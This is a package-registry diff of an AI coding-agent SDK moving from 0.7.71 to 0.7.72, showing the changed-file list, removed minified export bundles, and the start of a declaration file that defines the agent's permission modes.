@kodax-ai/kodax 0.7.71 → 0.7.72
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +602 -487
- package/README.md +46 -27
- package/README_CN.md +30 -13
- package/dist/chunks/agent-YKGU4USA.js +2 -0
- package/dist/chunks/argument-completer-QZETLNAB.js +2 -0
- package/dist/chunks/{chunk-SX2WFHIS.js → chunk-2RI252RN.js} +1 -1
- package/dist/chunks/chunk-CLFP6UGU.js +71 -0
- package/dist/chunks/chunk-E27LHEIP.js +37 -0
- package/dist/chunks/chunk-EDZ5KJFT.js +5 -0
- package/dist/chunks/chunk-GIK4SGAT.js +364 -0
- package/dist/chunks/chunk-GVWPHE23.js +310 -0
- package/dist/chunks/{chunk-A2TFSV5M.js → chunk-IR5KIK7E.js} +1 -1
- package/dist/chunks/chunk-JSDLBXME.js +755 -0
- package/dist/chunks/chunk-MVARIMQV.js +22 -0
- package/dist/chunks/chunk-PKQOEDHJ.js +628 -0
- package/dist/chunks/{chunk-64NQBOSN.js → chunk-SQODXBLX.js} +1 -1
- package/dist/chunks/chunk-VDGCGOQH.js +328 -0
- package/dist/chunks/chunk-VVE3UM4F.js +410 -0
- package/dist/chunks/chunk-WIBLZK4G.js +151 -0
- package/dist/chunks/{compaction-config-5KKKXYFT.js → compaction-config-TWCDFLX6.js} +1 -1
- package/dist/chunks/{construction-bootstrap-OXDDDW6O.js → construction-bootstrap-ZJPXUPXQ.js} +1 -1
- package/dist/chunks/dist-JT4ATXVM.js +2 -0
- package/dist/chunks/host-SVEDZUC5.js +2 -0
- package/dist/chunks/{run-manager-Z3W6MDO7.js → run-manager-RX42UNEM.js} +1 -1
- package/dist/chunks/{utils-CFOXDCB5.js → utils-OTT5CG5J.js} +1 -1
- package/dist/index.d.ts +13 -13
- package/dist/index.js +4 -4
- package/dist/kodax_bootstrap.js +28 -0
- package/dist/kodax_cli.js +1325 -1333
- package/dist/kodax_resume.js +44 -0
- package/dist/provider-capabilities.json +50 -48
- package/dist/runtime-worker.js +1322 -1330
- package/dist/sdk-a2a.d.ts +10 -9
- package/dist/sdk-a2a.js +1 -1
- package/dist/sdk-agent.d.ts +382 -206
- package/dist/sdk-agent.js +1 -1
- package/dist/sdk-coding.d.ts +80 -128
- package/dist/sdk-coding.js +1 -1
- package/dist/sdk-experimental-memory.js +1 -1
- package/dist/sdk-mcp.js +1 -1
- package/dist/sdk-media.d.ts +3 -0
- package/dist/sdk-media.js +1 -1
- package/dist/sdk-repl.d.ts +71 -23
- package/dist/sdk-repl.js +2 -2
- package/dist/sdk-runtime.d.ts +143 -31
- package/dist/sdk-runtime.js +1 -1
- package/dist/sdk-session.d.ts +6 -5
- package/dist/sdk-session.js +1 -1
- package/dist/sdk-skills.d.ts +5 -5
- package/dist/sdk-skills.js +1 -1
- package/dist/semantic-worker.js +14 -14
- package/dist/types-chunks/{bash-prefix-extractor.d-YoiZl5yt.d.ts → bash-prefix-extractor.d-CHJO5y94.d.ts} +107 -248
- package/dist/types-chunks/{capsule.d-CK5Pfz1k.d.ts → capsule.d-DxtdE-GD.d.ts} +24 -95
- package/dist/types-chunks/center-types.d-BBT122uJ.d.ts +91 -0
- package/dist/types-chunks/{commands.d-D6g2jq8V.d.ts → commands.d-DZxHzH5-.d.ts} +6 -4
- package/dist/types-chunks/{guardrail.d-DilYC1dh.d.ts → guardrail.d-DlpMnd-Y.d.ts} +1 -1
- package/dist/types-chunks/{guardrail.d-DdeDWnVu.d.ts → guardrail.d-auV61_h5.d.ts} +83 -10
- package/dist/types-chunks/public-api.d--IDNJsu1.d.ts +1342 -0
- package/dist/types-chunks/{run-manager.d-DxU3SSGR.d.ts → run-manager.d-Bh50OdVl.d.ts} +1 -1
- package/dist/types-chunks/sdk-session-Cfw6NFu-.d.ts +82 -0
- package/dist/types-chunks/{types.d-CEZZSY9s.d.ts → types.d-CNZgY52F.d.ts} +2 -2
- package/dist/types-chunks/{types.d-vJExiRje.d.ts → types.d-DCQVBqVn.d.ts} +10 -5
- package/dist/types-chunks/{types.d-CRCaLt_s.d.ts → types.d-DH1mvdcl.d.ts} +284 -164
- package/dist/types-chunks/{types.d-CzsLFqmf.d.ts → types.d-EqQmHztg.d.ts} +9 -10
- package/dist/types-chunks/{utils.d-Cb6vdvFM.d.ts → utils.d-gmn3c5U4.d.ts} +9 -12
- package/docs/SDK_EMBEDDER_GUIDE.md +171 -26
- package/package.json +4 -4
- package/scripts/kodax-bin.cjs +4 -2
- package/scripts/production-env.cjs +9 -0
- package/dist/chunks/agent-X2EWQADL.js +0 -2
- package/dist/chunks/argument-completer-BLNXDO2F.js +0 -2
- package/dist/chunks/chunk-4DY756KL.js +0 -70
- package/dist/chunks/chunk-52JSZ77P.js +0 -37
- package/dist/chunks/chunk-A574DBTV.js +0 -422
- package/dist/chunks/chunk-F7KGYHJ3.js +0 -624
- package/dist/chunks/chunk-GVTM4Z6O.js +0 -151
- package/dist/chunks/chunk-PHH4TRGF.js +0 -22
- package/dist/chunks/chunk-PVUXONQB.js +0 -366
- package/dist/chunks/chunk-T7LYK53M.js +0 -329
- package/dist/chunks/chunk-VRSVNU2Y.js +0 -7
- package/dist/chunks/chunk-Y5XKAN7C.js +0 -755
- package/dist/chunks/chunk-Z535BARK.js +0 -306
- package/dist/chunks/dist-IXJRJ27U.js +0 -2
- package/dist/chunks/host-VRKDAN26.js +0 -2
- package/dist/types-chunks/public-api.d-BvCp5VkW.d.ts +0 -601
- package/dist/types-chunks/sdk-session-wGpa7X_U.d.ts +0 -796
|
@@ -1,2 +0,0 @@
|
|
|
1
|
-
// @kodax-ai/kodax — bundled distribution. See docs/ADR.md ADR-022 + ADR-024.
|
|
2
|
-
import{$ as Ph,A as oh,Aa as oi,B as ph,Ba as pi,C as qh,Ca as qi,D as rh,Da as ri,E as sh,Ea as si,F as th,Fa as ti,G as uh,Ga as ui,H as vh,Ha as vi,I as wh,Ia as wi,J as xh,Ja as xi,K as yh,Ka as yi,L as zh,M as Ah,N as Bh,O as Ch,P as Dh,Q as Eh,R as Fh,S as Gh,T as Hh,U as Ih,V as Jh,W as Kh,X as Lh,Y as Mh,Z as Nh,_ as Oh,a as $,aa as Qh,b as aa,ba as Rh,c as ba,ca as Sh,d as Tg,da as Th,e as Ug,ea as Uh,f as Vg,fa as Vh,g as Wg,ga as Wh,h as Xg,ha as Xh,i as Yg,ia as Yh,j as Zg,ja as Zh,k as _g,ka as _h,l as $g,la as $h,m as ah,ma as ai,n as bh,na as bi,o as ch,oa as ci,p as dh,pa as di,q as eh,qa as ei,r as fh,ra as fi,s as gh,sa as gi,t as hh,ta as hi,u as ih,ua as ii,v as jh,va as ji,w as kh,wa as ki,x as lh,xa as li,y as mh,ya as mi,z as nh,za as ni}from"./chunk-A574DBTV.js";import{a as Od,b as Pd,c as Qd,d as Rd,e as Sd,f as Td,g as Ud,h as Vd,i as Wd,j as He}from"./chunk-A2TFSV5M.js";import{A as xe,B as ye,C as ze,D as Ae,E as Be,F as Ce,G as De,H as Ee,I as Fe,J as Ge,a as Zd,b as _d,c as $d,d as ae,e as be,f as ce,g as de,h as ee,i as fe,j as ge,k as he,l as ie,m as je,n as ke,o as le,p as me,q as ne,r as oe,s as pe,t as qe,u as re,v as se,w as te,x as ue,y as ve,z as we}from"./chunk-PHH4TRGF.js";import{$ as Ie,A as zd,Aa as $f,B as Ad,Ba as ag,C as Bd,Ca as bg,G as Cd,H as Dd,I as Ed,J as Fd,Ja as fg,Ka as gg,M as Gd,Ma as hg,a as ya,aa as Je,b as za,ba as Ke,ca as Le,da as Me,e as md,ea as Ne,f as nd,fa as Oe,g as od,ga as Pe,h as pd,i as qd,ia as Qe,j as rd,ja as Re,k as sd,ka as Se,p as td,q as ud,ta as Uf,ua as Vf,v as vd,va as Wf,w as wd,wa as Xf,xa as Yf,y as xd,ya as Zf,z as yd,za as _f}from"./chunk-T7LYK53M.js";import"./chunk-64NQBOSN.js";import{a as Nd}from"./chunk-44QXPEEE.js";import{$ as sc,$a as kd,$b as uf,A as $b,Aa as Qc,Ab as Ue,Ad as Pg,B as ac,Ba as Rc,Bb as Ve,Bd as Qg,C as bc,Ca as Sc,Cb as We,Cd as Rg,D as cc,Da as Tc,Db as Xe,Dd as Sg,Ea as Uc,Eb as Ye,F as dc,Fa as Vc,Fb as Ze,Fc as cg,G as ec,Ga as Wc,Gb as _e,Gc as dg,H as fc,Ha as Xc,Hb as $e,Hc as eg,I as gc,Ia as Yc,Ib as af,J as hc,Ja as Zc,Jb as bf,Ka as _c,Kb as cf,La as $c,Lb as df,Lc as ig,Ma as ad,Mb as ef,Mc as jg,Na as bd,Nb as ff,Nc as kg,O as ic,Oa as cd,Ob as gf,Oc as lg,Pb as hf,Pc as mg,Q as jc,Qb as jf,Qc as ng,Rb as kf,Rc as og,S as kc,Sb as lf,Sc as pg,T as lc,Ta as dd,Tb as mf,Tc as qg,U as mc,Ua as ed,Ub as nf,Uc as rg,V as nc,Va as fd,Vb as of,Vc as sg,W as oc,Wa as gd,Wb as pf,Xa as hd,Xb as qf,Y as pc,Ya as id,Yb as rf,Yc as tg,Z as qc,Za as jd,Zb as sf,Zc as ug,_ as rc,_b as tf,_c as vg,aa as tc,ab as ld,ac as vf,ba as uc,bc as wf,ca as vc,cc as xf,d as Lb,da as wc,dc as yf,e as Mb,ea as xc,ec as zf,ed as wg,fa as yc,fc as Af,fd as xg,ga as zc,gc as Bf,gd as yg,ha as Ac,hc as Cf,hd as zg,i as Nb,ia as Bc,ic as Df,id as Ag,j as Ob,ja as Cc,jc as Ef,jd as Bg,k as Pb,ka as Dc,kc as Ff,kd as Cg,l as Qb,la as Ec,lc as Gf,ld as Dg,m as Rb,ma as Fc,mc as Hf,md as Eg,n as Sb,nb as Hd,nc as If,nd as Fg,o as Tb,ob as Id,oc as Jf,od as Gg,p as Ub,pa as Gc,pb as Jd,pc as Kf,pd as Hg,q as Vb,qa as Hc,qb as Kd,qc as Lf,qd as Ig,r as Wb,ra as Ic,rb as Ld,rc as Mf,rd as Jg,s as Xb,sa as Jc,sb as Md,sc as Nf,sd as Kg,t as Yb,ta as Kc,tb as Xd,tc as Of,td as Lg,ua as Lc,ub as Yd,uc as Pf,ud as Mg,va as Mc,vc as Qf,vd as Ng,wc as Rf,xa as Nc,xc as Sf,y as Zb,ya as Oc,yc as Tf,z as _b,za as Pc,zb as Te,zd as Og}from"./chunk-PVUXONQB.js";import{Aa as I,Ba as J,C as h,Ca as K,D as i,Da as L,E as j,Ea as M,F as k,Fa as N,G as l,Ga as O,H as m,Ha as P,Ia as Q,Ja as R,Ka as S,La as T,Ma as U,Na as V,Oa as W,Pa as X,Qa as Y,Ra as Z,U as n,Ua as _,ca as o,d as a,da as p,e as b,f as c,ia as q,ja as r,ka as s,la as t,m as d,ma as u,n as e,na as v,oa as w,pa as x,qa as y,ra as z,sa as A,ta as B,ua as C,v as f,va as D,w as g,wa as E,xa as F,ya as G,za as H}from"./chunk-ZJIMT5I3.js";import{$b as eb,Bc as wb,Cc as xb,Dc as yb,Ec as zb,Fc as Ab,Gc as Bb,Hc as Cb,Jc as Db,Kc as Eb,Lc as Fb,Mc as Gb,Nc as Hb,Oc as Ib,Sb as Xa,Tb as Ya,Ub as Za,Vb as _a,Vc as Jb,Wb as $a,Wc as Kb,Xb as ab,Yb as bb,Zb as cb,_b as db,a as Aa,ac as fb,b as Ba,bc as gb,c as Ca,cc as hb,d as Da,dc as ib,e as Ea,ec as jb,f as Fa,fc as kb,gc as lb,h as Ga,hc as mb,i as Ha,ic as nb,j as Ia,jc as ob,k as Ja,kc as pb,l as Ka,lc as qb,nc as rb,oc as sb,pc as tb,s as La,sa as Pa,t as Ma,tc as ub,u as Na,uc as vb,v as Oa,va as Qa,vb as Va,wb as Wa}from"./chunk-Y5XKAN7C.js";import{d as Ra,e as Sa,f as Ta,g as Ua}from"./chunk-52JSZ77P.js";import{C as xa,a as ca,b as da,c as ea,d as fa,e as ga,f as ha,g as ia,h as ja,i as ka,j as la,k as ma,l as na,m as oa,n as pa,o as qa,p as ra,q as sa,r as ta,s as ua,t as va,u as wa}from"./chunk-VRSVNU2Y.js";import"./chunk-23X6REO4.js";import"./chunk-ONUPGMER.js";export{Wf as ALWAYS_RESIDENT_TOOL_NAMES,Qh as AUTO_MODE_DENIAL_CONSECUTIVE_THRESHOLD,Rh as AUTO_MODE_DENIAL_CUMULATIVE_THRESHOLD,ji as BASH_POLICY_SPEC,ch as BLOCKER_REQUIRED_CONSECUTIVE_TURNS,Wh as BREAKER_ERROR_THRESHOLD,Xh as BREAKER_WINDOW_MS,ie as BUILTIN_WORKFLOWS,Mb as CANCELLED_TOOL_RESULT_MESSAGE,Lb as CANCELLED_TOOL_RESULT_PREFIX,Eh as CODING_AGENT_MARKER,Zg as CODING_INVARIANTS,Yf as CODING_SUMMARY_PROMPT,Zf as CODING_UPDATE_SUMMARY_PROMPT,df as CapabilityDeniedError,$g as Client,Pf as CombinedExtensionRuntime,ef as ConstructionManifestError,fg as DEFAULT_CODING_AGENT_NAME,th as DEFAULT_DANGEROUS_PATTERNS,bf as DEFAULT_HANDLER_TIMEOUT_MS,md as DEFAULT_RESILIENCE_CONFIG,sh as DEFAULT_SAFE_PATTERNS,pf as DEFAULT_SELF_MODIFY_BUDGET,fi as DEFAULT_SPECULATIVE_WINDOW_MS,Ob as DEFAULT_TOOL_OUTPUT_MAX_BYTES,Nb as DEFAULT_TOOL_OUTPUT_MAX_LINES,Pd as DEFAULT_WORKFLOW_GENERATION_TIMEOUT_MS,Oa as DefaultSummaryCompaction,Bh as EMIT_VERDICT_TOOL_NAME,ya as ErrorCategory,ae as FINDING_VERIFICATION_OUTPUT_SCHEMA,fd as GENERATOR_AGENT_NAME,da as ImageResizeError,Ha as KODAX_API_MIN_INTERVAL,s as KODAX_DEFAULT_PROVIDER,Ba as KODAX_DEFAULT_TIMEOUT,ua as KODAX_FILE_MEDIA_TYPES,Ca as KODAX_HARD_TIMEOUT,sa as KODAX_IMAGE_MEDIA_TYPES,Fa as KODAX_MAX_INCOMPLETE_RETRIES,Da as KODAX_MAX_RETRIES,Aa as KODAX_MAX_TOKENS,r as KODAX_PROVIDERS,q as KODAX_PROVIDER_SNAPSHOTS,f as KODAX_REASONING_MODE_SEQUENCE,Ea as KODAX_RETRY_BASE_DELAY,g as KODAX_STABLE_EFFORT_INTENTS,Ga as KODAX_STAGGER_DELAY,wg as KODAX_TOOLS,_b as KODAX_UNDERLYING_CAPABILITY_TOPICS,ta as KODAX_VIDEO_MEDIA_TYPES,o as KodaXAnthropicCompatProvider,n as KodaXBaseProvider,$g as KodaXClient,a as KodaXError,Of as KodaXExtensionRuntime,ca as KodaXMediaError,p as KodaXOpenAICompatProvider,b as KodaXProviderError,c as KodaXRateLimitError,aa as KodaXSessionError,ba as KodaXTerminalError,$ as KodaXToolError,rb as LINEAGE_ENTRY_TYPES,Jd as LSP_SERVERS,tb as LineageCompaction,sb as LineageExtension,Kd as LspService,$b as MANUAL_REGISTRY,Zb as MANUAL_TOPIC_IDS,ja as MAX_DIMENSION,cb as McpAuthRequiredError,ob as McpCapabilityProvider,bb as McpExpiredSessionError,pb as McpManager,nb as McpServerRuntime,oa as PASTE_TMP_DIR_ENV,pa as PASTE_TMP_TTL_MS,ed as PLANNER_AGENT_NAME,Ia as PROMISE_PATTERN,Je as PROMPT_SECTION_REGISTRY,Dh as PROTOCOL_EMITTER_TOOLS,sd as ProviderRecoveryCoordinator,Pb as READ_DEFAULT_LIMIT,Rb as READ_MAX_LINE_CHARS,Qb as READ_PREFLIGHT_SIZE_BYTES,Kf as REPO_EXPLORER_AGENT_NAME,Lf as REPO_EXPLORER_TOOL_NAMES,Qa as Runner,$d as SCOPED_REVIEW_OUTPUT_SCHEMA,dd as SCOUT_AGENT_NAME,vi as SCOUT_THEN_AUTHOR_PROMPT_LINES,Pe as SELF_KNOWLEDGE_ROUTING_RULE,Ie as SYSTEM_PROMPT,ze as SYSTEM_WORKFLOW_LIMITS,qd as StableBoundaryTracker,ka as TARGET_RAW_SIZE_BYTES,id as TASK_ENGINE_ROLE_AGENTS,Fh as TOOL_RESULT_TRUNCATION_GUARDRAIL_NAME,mi as TRACING_ENV,gd as WORKER_AGENT_NAME,Od as WORKFLOW_GENERATION_SYSTEM_PROMPT,wf as _resetRuntimeForTesting,zf as activate,uc as analyzeChangedScope,nf as appendAuditEntry,Bb as appendSessionLineageLabel,ng as applyAccountingDelta,de as applyFindingVerification,Cb as applySessionCompaction,jc as applyToolResultGuardrail,Ib as archiveOldIslands,xi as authorWorkflowViaWorker,Vh as autoModeDenialShouldFallback,ci as bashSignalCollector,ni as bootstrapTracing,Vg as boundedRevise,_h as breakerShouldFallback,Wg as budgetCeiling,Ae as buildApprovalSummary,qg as buildBlockedGoal,Qe as buildCapabilityContextSections,Hh as buildClassifierPrompt,rg as buildCompleteGoal,mg as buildCreatedGoal,Dd as buildFallbackRoutingDecision,gh as buildGoalRuntimeBinding,mb as buildInitializeCapabilities,kf as buildLlmReviewPrompt,bc as buildManualToolDescription,lh as buildMcpReverseCapabilities,og as buildPausedGoal,td as buildPromptMessageContent,Ne as buildPromptSnapshot,xd as buildProviderCapabilitySnapshot,Ed as buildProviderPolicyHintsForDecision,yd as buildProviderPolicyPromptNotes,tc as buildRepoIntelligenceContext,Gc as buildRepoIntelligenceIndex,qc as buildRepoOverview,pg as buildResumedGoal,ge as buildScopedReviewFinalPrompt,ee as buildScopedReviewPrimaryPrompt,fe as buildScopedReviewVerificationPrompt,wi as buildScoutThenAuthorPrompt,Oe as buildSelfKnowledgeRoutingRule,Gb as buildSessionTree,Se as buildSystemPrompt,Re as buildSystemPromptSnapshot,cg as buildToolResultBudget,dg as buildToolResultBudgetFromUsage,tg as buildToolSearchIndex,we as buildWorkflowCostReport,Td as buildWorkflowGenerationSkillContext,Sd as buildWorkflowGenerationUserPrompt,bi as checkAbsoluteDeny,ud as checkIncompleteToolCalls,Gd as checkPromiseSignal,eg as clampToolResultPolicyToBudget,Be as clampWorkflowLimits,Jh as classify,vh as classifyBashCommand,za as classifyError,pc as classifyFileCategory,od as classifyResilienceError,Pg as cleanupExpiredToolOutputs,Wa as cleanupIncompleteToolCalls,Qg as cleanupUnreferencedToolOutputs,T as clearRuntimeModelProviders,ei as collectAllSignals,Qf as combineExtensionRuntimes,xh as computeInputSignature,Kh as computeRulesFingerprint,vf as configureRuntime,ag as consumeCompactionCooldown,Vc as convertCapabilityReadResult,Uc as convertProviderSearchResults,Hb as countActiveLineageMessages,Ka as countTokens,La as createAgent,Sh as createAutoModeDenialTracker,ii as createAutoModeToolGuardrail,uh as createBashClassifierConfig,li as createBashPrefixExtractor,Eg as createBuiltinToolDefinition,Yh as createCircuitBreaker,Zd as createCodingWorkflowBackend,_f as createCompactionAntiThrashState,ff as createCtxProxy,F as createCustomProvider,gg as createDefaultCodingAgent,wh as createDenialTracker,Rf as createExtensionRuntime,ha as createFileArtifactFromPath,Ma as createHandoff,ga as createImageArtifactFromPath,Na as createInMemorySession,oh as createKodaXTaskRunner,Ya as createMcpCapabilityId,qb as createMcpManager,db as createMcpTransport,Ke as createPromptSection,Fd as createReasoningPlan,ye as createRunGraphWriter,Vf as createRuntimeContextBudgetSnapshot,Tg as createSessionControl,wb as createSessionLineage,Gh as createToolResultTruncationGuardrail,ia as createVideoArtifactFromPath,pi as createWorkflowLifecycleController,si as createWorkflowPatternTemplateModule,Fe as createWorkflowRunManager,ti as decideWorkflowInvocation,Ye as dedupeExtensionPathsByEntrypoint,Xa as defaultMcpCacheDir,cf as defaultPolicy,re as deleteSavedWorkflow,uf as disableSelfModify,hb as discoverAuthorizationServerMetadata,af as discoverDefaultExtensions,$e as discoverExtensionsInDirectory,_e as discoverExtensionsInDirectoryDetailed,Jf as discoverMarkdownAgents,ib as discoverOAuthEndpoints,gb as discoverProtectedResourceMetadata,le as discoverSavedWorkflows,ld as drainPendingSwaps,j as effortToLegacyReasoningMode,Ch as emitVerdict,De as emitWorkflowAgentDigest,xa as enqueueWithArtifacts,Mf as ensureBuiltinRepoExplorerAgent,Ja as estimateTokens,Uf as estimateToolSchemaTokens,zd as evaluateProviderPolicy,Ze as excludeExtensionPathsByEntrypoint,Te as exec,Og as executeTool,Jb as extractArtifactLedger,ki as extractCommandPrefix,wd as extractComparableUserMessageText,Tc as extractHtmlTitle,fb as extractInsufficientScope,vd as extractPromptComparableText,eb as extractResourceMetadataUrl,vb as extractTitleFromMessages,di as fileSignalCollector,Xc as finalizeRetrievalResult,Ff as findByVersion,Db as findPreviousUserEntryId,Fb as forkSessionLineage,cd as formatAgentsForPrompt,qh as formatParallelDispatchResult,Sb as formatSize,ub as generateSessionId,Vd as generateWorkflow,Wd as generateWorkflowFromOptions,Tf as getActiveExtensionRuntime,Sa as getAgentConfigHome,Ta as getAgentConfigPath,Gg as getAllRegisteredTools,Ua as getAppDataDir,W as getAvailableProviderNames,Dg as getBuiltinRegisteredToolDefinition,Cg as getBuiltinToolDefinition,je as getBuiltinWorkflow,N as getCustomModelCapabilities,H as getCustomProvider,K as getCustomProviderList,M as getCustomProviderModelDescriptors,L as getCustomProviderModels,J as getCustomProviderNames,We as getDefaultExtensionDirectory,Ld as getDefaultLspService,Ge as getDefaultWorkflowRunManager,Ah as getDenialContext,Lc as getImpactEstimate,ad as getKodaxGlobalDir,ab as getMcpCachePaths,C as getModelCapabilities,va as getModelInputCapabilities,Ic as getModuleContext,Kc as getProcessContext,t as getProvider,x as getProviderConfiguredCapabilityProfile,w as getProviderConfiguredReasoningCapability,y as getProviderList,v as getProviderModel,B as getProviderModelDescriptors,z as getProviderModels,Ag as getRegisteredToolDefinition,Hc as getRepoIntelligenceIndex,rc as getRepoOverview,Mc as getRepoRoutingSignals,Lg as getRequiredToolParams,Q as getRuntimeModelProvider,S as getRuntimeModelProviderNames,xb as getSessionLineagePath,yb as getSessionMessagesFromLineage,Jc as getSymbolContext,yg as getTool,zg as getToolDefinition,Bg as getToolRegistrations,ic as getToolResultPolicy,ri as getWorkflowPatternTemplate,jg as goalTokenDelta,kd as hasPendingSwap,ea as inferImageMediaType,Cd as inferTaskType,fa as inferVideoMediaType,gc as inspectEditFailure,Fc as inspectRepoIntelligenceRuntime,I as isCustomProviderName,zh as isDeniedRecently,V as isKnownProvider,ph as isParallelDispatchDirective,u as isProviderConfigured,A as isProviderName,R as isRuntimeModelProviderName,pd as isSessionRecoveryCandidateError,Ve as isSupportedExtensionModulePath,Ig as isToolFileMutation,Kg as isToolMutation,Jg as isToolNetworkRead,Hg as isToolPlanModeAllowed,sg as isValidTokenBudget,Hd as languageIdForPath,Gf as listAll,Z as listAllModelCapabilities,Cf as listArtifacts,D as listBuiltinModelCapabilities,Fg as listBuiltinToolDefinitions,ke as listBuiltinWorkflows,Xd as listCodingDispatchableAgents,Ef as listConstructed,O as listCustomProviderModelCapabilities,Ng as listToolDefinitions,Mg as listTools,qi as listWorkflowPatternTemplates,bd as loadAgentsFiles,Hf as loadAgentsFromMarkdown,Oh as loadAutoRules,te as loadGeneratedWorkflowFromRun,gf as loadHandler,If as loadMarkdownAgentScope,oe as loadSavedWorkflow,ne as loadSavedWorkflowCapsule,lb as loadValidToken,ig as makeDisabledGoalToolsContext,i as mapLegacyReasoningModeToEffortIntent,Sg as maybeRunReferenceAwareToolOutputGc,Rg as maybeRunToolOutputGc,kh as mcpRootsFromWorkspace,Kb as mergeArtifactLedger,ce as mergeScopedReviewResults,Za as normalizeMcpCapabilityId,la as normalizePastedImage,h as normalizeReasoningEffortValue,be as normalizeScopedReviewResult,me as normalizeWorkflowModule,Le as orderPromptSections,_d as parallelInvestigation,Nh as parseAutoRules,Ih as parseClassifierOutput,fc as parseEditToolError,lf as parseLlmReviewVerdict,_a as parseMcpCapabilityId,$h as parseModelSpec,k as parseReasoningEffortEnv,e as parseTimeoutSecEnvMs,vg as parseToolSearchQuery,Ud as parseWorkflowGeneration,kb as performOAuthLogin,qa as persistImageAsBlock,Xb as persistToolOutput,Xf as planToolExposure,ve as preflightWorkflowCapsule,Nc as prewarmRepoIntelligenceCaches,Nd as providerResilienceConfigFromTimeouts,ra as prunePasteTmpDir,na as readAndNormalizeClipboardImage,Df as readArtifact,of as readAuditEntries,qf as readBudget,ma as readClipboardImage,tf as readDisableState,gi as readSpeculativeWindowFromEnv,Lh as readTrustState,Bd as reasoningModeToDepth,rd as reconstructMessagesWithToolGuard,Uh as recordAutoModeAllow,Th as recordAutoModeBlock,ah as recordBlockerAttempt,Zh as recordBreakerError,bg as recordCompactionSavings,yh as recordDenial,_g as registerCodingInvariants,ih as registerConfiguredMcpCapabilityProvider,G as registerCustomProviders,P as registerModelProvider,jb as registerOAuthClient,mh as registerOfficialSandboxExtension,Pa as registerPresetDispatcher,xg as registerTool,Af as rehydrateActiveArtifacts,rf as remainingSelfModifyBudget,qe as renameSavedWorkflow,vc as renderChangedScope,Cc as renderImpactEstimate,zc as renderModuleContext,Bc as renderProcessContext,Me as renderPromptSections,sc as renderRepoOverview,Wc as renderRetrievalResult,Ac as renderSymbolContext,jh as replaceConfiguredMcpCapabilityProvider,se as replaceSavedWorkflow,Id as reportLspDiagnostics,bh as resetBlockerCounter,sf as resetBudget,ai as resolveClassifierModel,Yd as resolveCodingDispatchableAgent,jd as resolveConstructedAgent,Xe as resolveExtensionEntrypoint,ac as resolveKodaXManual,Y as resolveModelCapabilities,U as resolveProvider,X as resolveProviderModelDescriptors,l as resolveReasoningEffort,m as resolveReasoningEffortForModelSwitch,Ad as resolveReasoningMode,Ec as resolveRepoIntelligenceMode,Dc as resolveRepoIntelligenceRuntimeConfig,nd as resolveResilienceConfig,zb as resolveSessionLineageTarget,Xg as resolveToolCapability,Wb as resolveToolOutputDir,_ as resolveWireEffort,Qd as resolveWorkflowGenerationTimeoutMs,oi as resolveWorkflowIdentity,Bf as revoke,Eb as rewindSessionLineage,Nf as rollbackSelfModify,hf as runAstRules,hg as runKodaX,mf as runLlmReview,hh as runManagedTask,nh as runOrchestration,Ee as runWorkflowFromOptions,Ce as runWorkflowModule,xe as safeWorkflowArtifactName,pe as saveGeneratedWorkflow,ue as saveGeneratedWorkflowFromRun,he as scopedReview,$a as searchMcpCatalog,ug as searchToolIndex,Sf as setActiveExtensionRuntime,Ra as setAgentConfigHome,Ab as setSessionLineageActiveEntry,lg as shouldFlipBudgetLimited,$f as shouldSkipLlmCompaction,Md as shutdownDefaultLspService,hi as speculativeRace,xf as stage,Ug as startKodaX,He as startManagedWorkflow,Ph as stripAssistantText,Sc as stripHtmlToText,yf as testArtifact,d as timeoutSecToMs,oc as toolAskUserQuestion,kc as toolBash,yc as toolChangedDiff,xc as toolChangedScope,_c as toolCodeSearch,ec as toolEdit,lc as toolGlob,mc as toolGrep,Rc as toolImpactEstimate,hc as toolInsertAfterAnchor,Oc as toolModuleContext,Yg as toolPermission,Qc as toolProcessContext,Yb as toolRead,wc as toolRepoOverview,$c as toolSemanticLookup,Pc as toolSymbolContext,nc as toolUndo,Zc as toolWebFetch,Yc as toolWebSearch,dc as toolWrite,Tb as truncateHead,Vb as truncateLine,Ub as truncateTail,Mh as trustProjectRules,kg as turnWallTimeDelta,Va as validateAndFixToolHistory,E as validateCustomProviderConfig,Rd as validateGeneratedWorkflowSource,wa as validateInputArtifactsForModel,rh as validateSubtaskIndependence,jf as validateToolSchemaForProvider,fh as verifyGoalCompletion,Ue as webhook,dh as withGoalBeforeNextTurn,eh as withGoalStopHook,cc as withManualToolBranding,hd as workerAgent,ui as workflowStartOutcomeConsumesTurn,yi as writeReviewPackets};
|
|
@@ -1,2 +0,0 @@
|
|
|
1
|
-
// @kodax-ai/kodax — bundled distribution. See docs/ADR.md ADR-022 + ADR-024.
|
|
2
|
-
import{j as a}from"./chunk-A2TFSV5M.js";import"./chunk-PHH4TRGF.js";import"./chunk-44QXPEEE.js";import"./chunk-PVUXONQB.js";import"./chunk-ZJIMT5I3.js";import"./chunk-Y5XKAN7C.js";import"./chunk-52JSZ77P.js";import"./chunk-VRSVNU2Y.js";import"./chunk-23X6REO4.js";import"./chunk-ONUPGMER.js";export{a as startManagedWorkflow};
|
|
@@ -1,601 +0,0 @@
|
|
|
1
|
-
import { a as BashPrefixExtractor } from './bash-prefix-extractor.d-YoiZl5yt.js';
|
|
2
|
-
import { b6 as KodaXSessionData, bb as KodaXSessionLineage, bg as KodaXSessionNavigationOptions, bi as KodaXSessionRuntimeInfo, bk as KodaXSessionStorage, aZ as KodaXJsonValue } from './types.d-CRCaLt_s.js';
|
|
3
|
-
import { k as KodaXMessage, S as KodaXTaskResultMetadata } from './types.d-Cqaw71Ax.js';
|
|
4
|
-
|
|
5
|
-
/**
|
|
6
|
-
* Permission Types
|
|
7
|
-
*/
|
|
8
|
-
|
|
9
|
-
/**
|
|
10
|
-
* Permission mode
|
|
11
|
-
* - plan: Read-only planning, all modifications blocked unless explicitly whitelisted
|
|
12
|
-
* - accept-edits: File edits auto-approved, shell commands require confirmation
|
|
13
|
-
* - auto: All tools auto-approved (with optional LLM classifier review when
|
|
14
|
-
* auto-mode engine === 'llm'; FEATURE_092 v0.7.33). When engine === 'rules',
|
|
15
|
-
* falls back to the legacy "all tools approved within project, outside
|
|
16
|
-
* requires confirmation" behavior — i.e., the v0.7.32 `auto-in-project`
|
|
17
|
-
* shape. The `auto-in-project` name is preserved as a deprecated alias
|
|
18
|
-
* for 5 minor versions (removed in v0.7.38).
|
|
19
|
-
*/
|
|
20
|
-
type PermissionMode = "plan" | "accept-edits" | "auto" | "auto-in-project";
|
|
21
|
-
declare const PERMISSION_MODES: PermissionMode[];
